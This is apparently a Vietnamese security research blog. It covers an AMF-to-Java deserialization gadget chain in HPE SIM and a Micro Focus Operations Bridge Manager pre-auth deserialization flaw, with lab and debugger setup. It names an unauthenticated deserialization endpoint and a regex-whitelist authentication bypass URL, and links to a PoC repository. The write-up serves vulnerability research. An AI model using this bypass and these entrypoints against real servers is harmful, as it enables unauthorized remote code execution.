<p>Nếu có implement <em>Externalizable </em>thì sẽ invoke method <em>readExternal()</em> của object đang được xử lý, như trong ví dụ mình sử dụng class <em>LRUMap </em>của <em>CommonsCollections</em>, có implement <em>Externalizable </em>và override method <em>readExternal():</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242143886/fgTSi89kg.png" alt="LRUMap" /><em>LRUMap</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242145449/qvB6rAlla.png" alt="Debugger dừng tại *LRUMap.readExternal()*" /><em>Debugger dừng tại </em>LRUMap.readExternal()**</p>
<p>Đây là 1 hướng có thể lợi dụng để tiếp tục tìm các gadget chain trigger RCE sau đó, hoặc tìm 1 gadget chain từ readExternal() -&gt; readObject() như trong bài của Đức có đề cập, chi tiết tại <a target="_blank" href="https://medium.com/@peterjson/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f">đây</a>.</p>
<p>Tuy nhiên trong quá trình debug, Đức có suggest mình là từ AMF có thể trigger cả setter method nữa,</p>
<p>Check lại trong code, nếu như class không thể Externalizable, sẽ chuyển sang 1 nhánh khác để xử lý. Nhánh này sẽ lấy các property của class và sử dụng BeanProxy.setValue() để set lại các giá trị này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242147004/vSojhNK6y.png" alt /></p>
<p>Khi set giá trị cho các property này, BeanProxy sẽ cố gắng tìm các setter method của class và invoke.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242148581/RDPz2807a.png" alt /></p>
<p>Từ đó giải thích tại sao lại có thể chuyển từ AMF deserialization sang invoke setter method để trigger RCE.</p>
<p>Có thể tóm tắt chain attack bằng hình sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242150364/86CncN0k0.png" alt /></p>
<p>Đối với trường hợp trong bài viết của @peterjson, do trong classpath có tồn tại khá nhiều library nên việc tìm ra 1 chain để lead từ <em>readExternal()</em> sang <em>readObject() </em>không phải chuyện quá khó.</p>
<p>Còn trong trường hợp hiện tại thì library khá là hạn chế nên việc tìm ra chain như vậy khá là khó khăn, mình đành sử dụng cách thứ 2 đó là dùng setter method.</p>
<p>Loay hoay một hồi thì thanh niên Đức tìm ra 1 chain có sẵn trong classpath có thể lợi dụng được, đó là: <strong><em>org.jgroups.blocks.ReplicatedTree.setState()</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242152355/wqAlpj7q0.png" alt /></p>
<p>Chain này thực tế đã được tìm ra trước đó và đề cập tại: <a target="_blank" href="https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html">https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html</a></p>
<p>Xem xét lại method setState() có thể thấy method này nhận vào mảng byte, sau đó gọi tiếp <em>Util.objectFromByteBuffer().</em></p>
<p>Đúng như tên gọi của method, <em>Util.objectFromByteBuffer() </em>nhận vào mảng byte và sau đó khởi tạo <em>ObjectInputStream </em>và gọi <em>readObject()</em> từ đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242153933/iCz5lpjBe.png" alt /></p>
<p>Như vậy hiện tại chúng ta đã có thể lead từ <em>AMF Deser -&gt; Setter method invoke -&gt; Java Deserialization.</em></p>
<p>Sau một hồi loằn ngoằn mỳ tôm, cuối cùng cũng đã quay trở lại vấn đề muôn thuở: Java Deserialization.</p>
<p>Vấn đề bây giờ là deser cái gì, dùng gadget gì mới được …</p>
<p>Ban đầu khi viết PoC thì mình có nghĩ là product này khá mới, CommonsCollections đều 3.2.2 hết cả rồi, khó mà dùng lại các chain cũ.</p>
<p>Tuy nhiên, vô tình khi tìm class thì mình có phát hiện trong classpath của HPE SIM có tới 3 library CommonsCollections,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242155632/DJKrDCfi0.png" alt /></p>
<p>Trong đó lại may mắn thay, CommonsCollections được sử dụng trong classpath của JBoss chỉ có version là 3.1 😂</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242157134/-8lMHYIQi.png" alt /></p>
<p>Theo mình nghĩ, có thể là đang gửi request từ webapp, jboss lại đang xử lý trực tiếp nên nó sẽ sử dụng luôn CommonsCollections tìm thấy trong thư mục library thay vì sử dụng lib nó tìm thấy tại global library. ¯_(ツ)_/¯ Need more information!</p>
<p>Tiếp tục lại có 1 vấn đề mới nảy sinh: <em>Làm sao để set cái prop “state” của ReplicatedTree?</em></p>
<p>Thông thường thì các prop sẽ có 1 private field đi kèm, dạng như vậy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242159169/54mszSOT1.png" alt /></p>
<p>Property “foobyte” sẽ được có field foobyte, và các setter + getter method đi kèm.</p>
<p>Đối với ReplicatedTree thì không phải vậy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242160855/EmFgrNi1p.png" alt /></p>
<p>Ngày trước mình xử lý các trường hợp này bằng cách viết lại và fake cái class này cho phù hợp với mục đích. Cách này cũng vẫn xử lý được nhưng cảm giác không được chuyên nghiệp lắm =))).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242163019/Sqahn_hAf.gif" alt /></p>
<p>Tình cờ trong 1 lần nghiên cứu 1 tool về deserialization (<a target="_blank" href="https://github.com/BishopFox/GadgetProbe">GadgetProbe</a>), mình biết được javassist có thể được dùng để tạo mới hoặc chỉnh sửa các thành phần của 1 class nào đó, ví dụ như thêm field, method, …</p>
<p>Quay trở lại với phần PoC, mình sử dụng javassist vào để thêm 1 field “<em>state</em>” cho <em>ReplicatedTree</em>, và thay đổi method <em>getState()</em> cho phép return giá trị của field “<em>state</em>” này. Đoạn code xử lý ngắn gọn như sau (có kèm theo bài viết):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242165295/edd_MP0kT.png" alt /></p>
<p>Như vậy các vấn đề đều đã được xử lý, chỉ cần gói serialized object vào field state, ròi serialize tiếp bằng AMF là xong:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242167074/ZhdLeo5UI.png" alt /></p>
<p>PoC video tại đây: <a target="_blank" href="https://youtu.be/XLAqBqToXW0">https://youtu.be/XLAqBqToXW0</a></p>
<p>PoC github: <a target="_blank" href="https://github.com/testanull/ProjectSIM">https://github.com/testanull/ProjectSIM</a></p>
<p>Tham khảo thêm:</p>
<ul>
<li><p><a target="_blank" href="https://codewhitesec.blogspot.com/2017/04/amf.html">https://codewhitesec.blogspot.com/2017/04/amf.html</a></p>
</li>
<li><p><a target="_blank" href="https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html">https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html</a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/@peterjson/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f">https://medium.com/@peterjson/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f</a></p>
</li>
</ul>
<p>Cảm ơn các bạn đã đón đọc,</p>
<p><strong>Jang</strong> with Luv ❤</p>
]]></content:encoded></item><item><title><![CDATA[(0.5 day) Micro Focus Operations Bridge Manager Pre-Auth Deserialization to RCE]]></title><description><![CDATA[//Vì dường như là vendor không quan tâm lắm về cái 0day này nên mình quyết định uncensor và publish toàn bộ content,
Mấy ngày nay mình có lượn lờ quanh các trang mạng để tìm kiếm nguồn cảm hứng mới cho công việc, hết twitter, reddit, ròi tới facebook...]]></description><link>https://testanull.com/0-5-day-micro-focus-operations-bridge-manager-pre-auth-deserialization-to-rce-68ecd98dc563</link><guid isPermaLink="true">https://testanull.com/0-5-day-micro-focus-operations-bridge-manager-pre-auth-deserialization-to-rce-68ecd98dc563</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 18 Nov 2020 06:43:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242098211/VexRq0vM2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>//Vì dường như là vendor không quan tâm lắm về cái 0day này nên mình quyết định uncensor và publish toàn bộ content,</p>
<p>Mấy ngày nay mình có lượn lờ quanh các trang mạng để tìm kiếm nguồn cảm hứng mới cho công việc, hết twitter, reddit, ròi tới facebook …</p>
<p>Tình cờ có liếc qua published advisories của ZDI thì thấy khá nhiều bug về deserialization được publish, đếm sơ sơ thì từ đầu năm đến giờ cũng đã có tới ~100 bug về deserialization được report cho ZDI:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241986913/mKaF8gorH.png" alt /></p>
<p>Hmm, nếu vậy thì con số bug ngoài thực tế (mà ko đc report cho ZDI) có thể sẽ còn lớn hơn gấp 4–5 lần thế này.</p>
<p>Vì không phải researcher nào cũng có hứng với ZDI, nhiều người họ lấy việc tìm bug làm thú vui, public PoC trước khi có patch lại là 1 thú vui bệnh hoạn hơn nữa =))).</p>
<p>Xem xét kỹ hơn thì có 1 điểm đáng chú ý ở đây: trong số 100 lỗi về deserialization thì có tới 40 lỗi nằm trên 1 product: <strong>Micro Focus Operations Bridge Manager</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241988748/3t237iE3b.png" alt /></p>
<p>Điều này làm mình khá tò mò và thầm nghĩ trong đầu:</p>
<p>“<em>Quèo, tính sơ sơ mỗi bug ZDI nó trả 750$, 750x40 = 30k$ cmnr.”</em></p>
<p>Làm kinh tế không khó với ZDI 🤣🤣.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241990523/np75NMqsI.png" alt /></p>
<p>Thế là lại bắt đầu công cuộc setup lab và debug thôi!</p>
<p><strong>#SETUP</strong></p>
<p>Cũng khá may mắn cho mình, Micro Focus Operations Bridge Manager (OBM) cho phép download bản trial tại <a target="_blank" href="https://www.microfocus.com/en-us/products/operations-bridge-manager/download">đây</a>. Cần 1 acc login vào để down, nếu lười reg thì có thể dùng acc share tại bugmenot như mình đã làm tương tự với ibm và oracle ¯_(ツ)_/¯.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241992129/pLo2t02x9.png" alt /></p>
<p>Một lưu ý nho nhỏ khi setup là nên follow guide tại <a target="_blank" href="https://docs.microfocus.com/OMi/2020.05/OBM_Install_Upgrade/Content/OMi_install_upgr.htm">đây</a>, nếu ko sẽ gặp nhiều rắc rối mà ko rõ nguyên nhân, một số điểm chính như sau:</p>
<ul>
<li><p>Disable UAC trong registry</p>
</li>
<li><p>Sử dụng 1 cái domain cho lab vì OBM ko chấp nhận sử dụng ip</p>
</li>
</ul>
<p>Target này khá là nặng và ngốn rất nhiều tài nguyên, cấu hình recommend cho lab để đảm bảo debug ổn định: 16GB RAM, 8 core, 100GB disk. Công cuộc setup mất khoảng 40–50p gì đó, khá là lâu, để khởi động cũng mất thêm 15–20p nữa 😂.</p>
<p>Sau khi install xong thì sẽ tới đoạn basic setup, tại đây mình có 1 số lưu ý nho nhỏ sau:</p>
<ul>
<li><p>Tại TLS Setup, bỏ tick <strong><em>Enable HTTPS </em></strong>đi, bởi vì sẽ bị lỗi linh tinh về cert hay gì đó, mình fix mãi ko đc nên đành disable nó đi.</p>
</li>
<li><p>Tại đoạn set OBM URL, nhớ điền đúng domain đã đặt tên cho ip của lab, như trong lab của mình là example.com A.K.A 192.168.139.134.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241993821/PEWRFUbje.png" alt /></p>
<p>Đoạn này nếu để nguyên IP thì sau đó OBM sẽ vẫn hoạt động nhưng 1 số chức năng lại yêu cầu FQDN mới cho sử dụng, cần cân nhắc khi setup!</p>
<p>Sau khi setup xong thì đã có thể start OBM rồi, quá trình start diễn ra trong khoảng 15–20p, có thể check status với Operations Bridge Manager Status:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241995481/lIjTH1BeK.png" alt /></p>
<p>Chờ startup xong thì chúng ta có được thành quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241997399/I2mK8VQ2q.png" alt /></p>
<p>.</p>
<p>.</p>
<p>.</p>
<p><strong>#Debugging …</strong></p>
<p><strong>Phần này là hướng dẫn cho newbie, nếu đã biết rồi bạn có thể bỏ qua và xem tiếp tại phần </strong>#The known bugs và #The unknown bugs <em>*phía dưới</em></p>
<p>Chợt nhận ra sau khi mình publish bài về CVE-2020–14882, rất nhiều bạn có nhắn tin hỏi mình, đại khái là làm sao để debug …</p>
<p>Vậy thì sau đây mình sẽ trình bày về quá trình từ tìm đối tượng để debug, tới setup debug với intellij như thế nào …</p>
<p>Sẽ lấy đây làm bài học cơ bản để cho các bạn bắt đầu nghiên cứu về lỗ hổng trên Java có thể tham khảo và biết cách setup debug.</p>
<ol>
<li><strong>Setup phía server</strong></li>
</ol>
<p><strong>1.1. Xác định đối tượng cần debug</strong></p>
<p>Tiếp tục với target OBM, sau khi setup xong thì chỉ biết được là OBM chạy ở port 80, check process nào đang handle port 80 với Process Hacker:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241998896/euR8hG4w_.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242000316/CeWTfZYQl.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242001828/tzwAIxwYG.png" alt /></p>
<p>Binary httpd.exe này chính là Apache HTTP Server, được đặt tại: <strong><em>C:\HPBSM\WebServer\bin</em></strong>, vậy có nghĩa là file config của nó sẽ chỉ ở loanh quanh đâu đó bên ngoài thôi. Như trong lab của mình thì config được lưu tại: <strong><em>C:\HPBSM\WebServer\conf.</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242003313/RSf01hF_k.png" alt /></p>
<p>Do hiện tại chưa có thông tin gì về vị trí của các file webapps, mà Apache lại đang handle tất cả các request ở port 80, có thể nó hoạt động như 1 proxy, hoặc nó xử lý trực tiếp servlet, vậy nên đọc file config là cách tốt nhất để tìm ra chúng.</p>
<p>Sau một hồi đọc file config, để ý với các Alias:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242004786/SAO8gPx3Q.png" alt /></p>
<p>Có thể thấy các file war được deploy đều nằm trong <strong><em>C:\HPBSM\AppServer\webapps\:</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242006287/iLlbvMstL.png" alt /></p>
<p>Tiếp tục đọc httpd.conf, tại dòng 844 thì include thêm các file <strong><em>conf </em></strong>tại folder “<strong><em>conf.d</em></strong>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242007833/EVJy2Q-3c.png" alt /></p>
<p>Trong này chỉ có duy nhất 1 file “<strong><em>load_mod_jk.conf</em></strong>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242009365/Yc0-q_Jtn.png" alt /></p>
<p>Theo như thông tin tìm được trên wikipedia, mod_jk là 1 module của Apache cho phép kết nối Tomcat servlet với Apache, hoặc IIS qua giao thức AJP (port 8009):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242010795/rx_DZCSYc.png" alt /></p>
<p>Trong trường hợp này, process của Jboss.exe đang listen port 8009</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242012316/qiPOzqFTQ.png" alt /></p>
<p>=&gt; Web server của OBM = Apache + Jboss</p>
<p>Trong đó Jboss đóng vai trò là thằng xử lý chính các webapps, để debug thì chúng ta cần phải sửa startup param của Jboss.</p>
<p>Kiểm tra trong Process list thì Jboss.exe được spawn ra từ 1 script tại: <strong><em>C:\HPBSM\bin\start_as.bat</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242013659/sKGOzl8lL.png" alt /></p>
<p>File này chỉ đơn thuần làm nhiệm vụ thiết lập jboss env, sau đó tiếp tục gọi “<strong><em>%JBOSS_HOME%\bin\standalone.bat</em></strong>” để start Jboss:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242015192/gzBikqgQY.png" alt /></p>
<p>Ở đầu file startup “<strong><em>standalone.bat</em></strong>” của Jboss có hướng dẫn là chỉ cần thêm option “<strong><em>--debug</em></strong>” là sẽ có thể debug được.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242017195/rmEpaA_yP.png" alt /></p>
<p>Tuy nhiên, để có thể làm với tất cả các target java khác thì mình sẽ hướng dẫn setup debug bằng tay.</p>
<p>Trước tiên là cần tìm biến môi trường có chứa các tham số startup của Java process, biến môi trường này thường có tên là JAVA_OPTS:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242018772/gzVkR1e7a.png" alt /></p>
<p>Thêm vào đâu đó trong startup script dòng sau (với Linux thì các bạn tùy biến lại 1 chút):</p>
<pre><code><span class="hljs-keyword">set</span> "**JAVA_OPTS**=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,address=**5005**,server=y,suspend=n"
</code></pre><p>Thêm vào đâu cũng được, miễn là trước khi Java process được gọi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242020508/-gcorBjwd.png" alt /></p>
<p>Thực hiện stop và start lại process Java (ở đây là Jboss) để load debug config vừa thêm vào, các bạn có thể để ý ở Command line output có dòng “<em>Listening for transport dt_socket at address: 5005</em>”, nghĩa là đã setup debug thành công!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242022038/uP-SZxPnJ.png" alt /></p>
<p>Vậy là đã setup debug ở phía server thành công, việc tiếp theo là setup ở phía client, hay là ở máy của người đang debug!</p>
<p><strong>1.2. Xác định các resource cần debug</strong></p>
<p>Như đã đề cập ở bên trên, các file war của webapps được deploy tại <strong><em>C:\HPBSM\AppServer\webapps</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242023368/3TL__F6E1.plain" alt /></p>
<p>Đối với các webapp này thông thường sẽ có cấu trúc chung như sau (như weblogic, tomcat, … cũng tương tự):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242025123/QANqRwJrv.png" alt /></p>
<p>Trong đó:</p>
<ul>
<li><p><strong><em>lib/</em></strong> chứa các library mà web này sẽ sử dụng</p>
</li>
<li><p><strong><em>classes/ </em></strong>chứa các file class của web app này</p>
</li>
<li><p><strong><em>web.xml </em></strong>là file config của webapp</p>
</li>
<li><p>có thể sẽ có thêm nhiều file config khác trong cùng folder</p>
</li>
</ul>
<p>Một ví dụ cụ thể:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242026876/C3VGrFzaT.png" alt /></p>
<p>Trong đó, đáng quan tâm chính là folder “<strong><em>WEB-INF/lib/</em></strong>”, để setup debug ở phía client, cần phải bê nguyên cái folder này ra máy client.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242028478/5uVmNGAC0.png" alt /></p>
<p><strong>2. Setup debug phía client</strong></p>
<p>Phía client, mình thường sử dụng IntellIJ để debug, nó khá là tiện lợi và cung cấp License free cho sinh viên (😘😘).</p>
<p>Để debug thì Create 1 project Java như bình thường:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242029895/8Q1tnygt2.png" alt /></p>
<p>Create xong project thì tiếp tục bấm vào File &gt; Project Structure &gt; Libraries</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242031351/0Q-93cLwt.png" alt /></p>
<p>Bấm vào dấu “+” để thêm các library của webapp vào đây</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242032793/MdJ7hsU2I.png" alt /></p>
<p>Ở cửa sổ chọn library thì nhớ bôi đen chọn tất cả các jar file nhé, nếu chọn mỗi folder không sẽ ko có tác dụng, sau đó hỏi gì cũng cứ Ok, Next next thôi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242034230/HgZAz3p-2.png" alt /></p>
<p>Import library xong thì phải chờ mất 1 lúc để IntellIJ index các file vừa add vào, (SSD recommended):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242035730/92SpESyjR.png" alt /></p>
<p>Tiếp theo chọn <strong><em>Add Configuration</em></strong> ở trên Tool bar</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242037185/nM2HYzsGO.png" alt /></p>
<p>Chọn thêm 1 config <strong><em>Remote </em></strong>như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242038837/j0km2MVdf.png" alt /></p>
<p>Với <strong>Host </strong>chính là địa chỉ ip của server đang cần remote debug</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242040459/rNxaawvzL.png" alt /></p>
<p>Setup xong và có thể thử lại bằng cách Start Debug, nếu response tại console là như vậy thì việc setup đã thành công!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242041973/kqFtZ1bux.png" alt /></p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>Quá trình setup debug trong thực tế, với mỗi đối tượng khác nhau thì có thể sẽ khác nhau, và mất nhiều thời gian hơn 1 chút. Cần phải dựa vào cách hoạt động của từng target mà tùy chỉnh sao cho phù hợp.</p>
<p><strong>#The known bugs</strong></p>
<p>Trên ZDI có tới 40 bugs, nhưng mình pick đại lấy 1 cái để xem mặt mũi nó ra sao, ở đây mình chọn bug tại <strong><em>SAMDownloadServlet</em></strong></p>
<p>Bug này được giới thiệu là sử dụng Deserialization để từ 1 authenticated user có thể RCE được:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242043469/0JL7GSFFLo.png" alt /></p>
<p>Search qua 1 vòng ở các webapp của OBM thì thấy SAMDownloadServlet thuộc webapp: <strong><em>opr-web.war, </em></strong>có servlet là<em> com.hp.opr.legacy.sitescope.servlet.SAMDownloadServlet</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242044938/4dRnbVgwU.png" alt /></p>
<p>Tìm tiếp servlet-name <em>SAMDownloadServlet </em>trong web.xml của opr-web thì có thể thấy đang url-pattern để access là “<strong><em>/legacy/topaz/sitescope/conf/download</em></strong>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242046462/1RgIh8pdJ.png" alt /></p>
<p>Đối với các target khác, cũng có thể dựa vào tag <em>servlet-name </em>trong web.xml để tìm được:</p>
<ul>
<li><p>servlet nào đang handle</p>
</li>
<li><p>url-pattern như thế nào thì truy cập được servlet đó</p>
</li>
</ul>
<p>Quay trở lại IntellIJ, sử dụng tổ hợp phím Ctrl + N để tìm được class theo tên, ở đây là <strong><em>SAMDownloadServlet</em></strong>, nằm trong file opr-legacy.jar:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242048079/l4ir5yU44.png" alt /></p>
<ul>
<li><em>Nếu như không tìm thấy được class dựa vào tên thì có thể bạn đã import thiếu library, cần phải tìm thêm.</em></li>
</ul>
<p>Đoạn code xử lý của SAMDownloadServlet khá đơn giản như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242049774/rb0UxwLY_.png" alt /></p>
<p>Đọc sơ qua cũng biết được servlet này nhận vào input từ phía client và thực hiện deserialize ngay sau đó.</p>
<p>Quá đơn giản phải ko ¯_(ツ)_/¯, ai mà nghĩ được trong 1 product Enterprise sẽ xử lý như vậy. Ez money rồi!</p>
<p>Lúc đầu mình cũng ko tin là ez như thế, xem tiếp các servlet khác thì cũng xử lý stupid tương tự, ví dụ như <strong><em>RegistrationServlet</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242051314/48xn-dfbV.png" alt /></p>
<p>Để confirm bug, mình tạm sử dụng gadget URLDNS, kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242052831/ehXDsxdwF.png" alt /></p>
<p>Xem xét các servlet khác được khai báo trong web.xml của <strong><em>opr-web</em></strong> thì cũng có kha khá các entrypoint hứa hẹn có thể sử dụng để Deserialize được, chỉ có điều tất cả đều yêu cầu authenticated!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242054467/0I9hngGCi.png" alt /></p>
<p><strong>#The unknown bugs</strong></p>
<p>Sau khi xem xét một hồi và khẳng định rằng tất cả các entrypoint tại opr-web đều yêu cầu authen, mình chuyển qua xem các web app khác, đối tượng có tiềm năng nhất đó là webapp <strong>site.war. </strong>Web app này cũng tương đối phức tạp, có nhiều chức năng, và thú vị hơn là ở webapp này có 1 số unauthen entrypoint</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242056066/RE63bNB2R.png" alt /></p>
<p>Trong số đó, <strong>có 1 unauthen entrypoint</strong> đáng chú ý: <strong><em>/kpiQueryServiceProxy</em></strong>, được handle bởi <strong><em>RemoteProxyServlet</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242057738/K3iiCd5G1.png" alt /></p>
<p>Chức năng của <strong><em>RemoteProxyServlet </em></strong>cho phép nhận vào input từ phía client và thực hiện deserialize ngay sau đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242059765/fFNHCdRHB.png" alt /></p>
<p>Để confirm thì lại tiếp tục sử dụng gadget URLDNS</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242061467/WmpxumdX_.png" alt /></p>
<p>Như vậy là đã đủ điều kiện để report cho ZDI và đem về 1 CVE 9.8/10 rồi, nhưng …</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242063101/hIe-bFArD.png" alt /></p>
<p>Và rồi mình quyết định không report nữa, vì dù sao bọn này cũng làm ăn khá lề mề, mình thì không chờ được nửa năm để nhận response của họ ¯_(ツ)_/¯.</p>
<p>Đành tiếp tục mổ xẻ, tìm hiểu nguyên nhân và viết gadget RCE cho bug này, vì hiện tại mới chỉ có thể PoC ở mức dns request, các known gadget đều đã bị patch cả rồi!</p>
<p><strong>#The root cause</strong></p>
<p>Vấn đề đầu tiên cần làm rõ: tại sao có url bị check authen, còn 1 số thì lại được bypass!</p>
<p>Chày cối đặt breakpoint, step and repeat, cuối cùng cũng đã tìm được vị trí mà server kiểm tra, xác định url có phải authen hay không,</p>
<p>Tại <strong><em>LWSSOValidationUtils.validate()</em></strong>, method này gọi tới <strong><em>isNonsecureURL()</em></strong> để xác định xem url hiện tại có phải là non-secured request hay không (cũng có thể hiểu là có nên để request này unauth hay không). Nếu đúng thì nó sẽ set thêm attribute “<strong><em>LWSSO_REQUEST_SECURED_ATTRIBUTE</em></strong>” cho request hiện tại, để cho phép request này unauthen:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242064651/dvhCUDQKk.png" alt /></p>
<p>Bên trong method <strong><em>isNonsecureURL()</em></strong> có 1 list url pattern để xác định, và entrypoint “<strong><em>/kpiQueryServiceProxy</em></strong>” cũng nằm trong đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242066265/8RJhCg31l.png" alt /></p>
<p>List này bao gồm các pattern sau (regex):</p>
<blockquote>
<p><em>.</em>/topaz/loginBanner.jsp.<strong>
<em>.</em>/topaz/generalError.jsp.</strong>
<em>.</em>/topaz/jsps/act/ui/components/popupmessage/popup.jsp.<strong>
<em>.</em>/topaz/blank.jsp.</strong>
<em>.</em>/topaz/app/usermanagement/general/TopLogoutInvoker.jsp.<strong>
<em>.</em>/LoginValidation.jsp.</strong>
<em>.</em>topaz/TopazSiteServlet.<strong>
<em>.</em>/HttpSSOlogin.jsp.</strong>
<em>.</em>/services/EntityNotificationPort.<strong>
<em>.</em>/bam/BAMOpenApi.</strong>
<em>.</em>/authorizationcontrol.<strong>
<em>.</em>/authorizationmanagment.</strong>
<em>.</em>/ITU/MWCWizard.do.<strong>
<em>.</em>/LB_Verify.jsp.</strong>
<em>.</em>/verifyIDM.jsp.<strong>
<em>.</em>/redirectToLogin.jsp.</strong>
<em>.</em>/openapi/OpenAPI.jsp.<strong>
<em>.</em>/SsoConfigurationErrorPage.jsp.</strong>
<em>.</em>/services/technical/time.<strong>
<em>.</em>/mobileConsole.do.</strong>
<em>.</em>topaz/services/technical.<strong>
<em>.</em>/topaz/jsp/aw/awlogin.jsp.</strong>
<em>.</em>/topaz/kpiQueryServiceProxy.<strong>
<em>.</em>/topaz/JavaScriptServlet.</strong>
<em>.</em>/topaz/ws/urest/v1/authenticated_user.<strong>
<em>.</em>/topaz/api/v1/server_availability.</strong></p>
</blockquote>
<p>Tuy nhiên, cách check pattern của OBM lại dựa theo regex, việc bypass cơ chế kiểm tra này hoàn toàn đơn giản, ví dụ:</p>
<pre><code>/topaz/authenticated_required_url**/mobileConsole.<span class="hljs-keyword">do</span>**
</code></pre><p>Do url chứa pattern whitelist là “<strong>.*/mobileConsole.do</strong>”, request này sẽ lừa được cơ chế kiểm tra và vẫn được xác định là 1 unauthenticated entrypoint!</p>
<p>Tiếp tục có thêm vấn đề cần xem xét: làm thế nào mà lại gọi được tới <strong><em>LWSSOValidationUtils.validate()</em></strong></p>
<p>Xem lại call stack và để ý kỹ sẽ thấy một số điểm như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242067752/gP_S4Ijjo.png" alt /></p>
<p>Các method doFilter() của Filter Class được gọi lần lượt, nếu để ý thì trong file config web.xml cũng có khai báo các filter này theo thứ tự:</p>
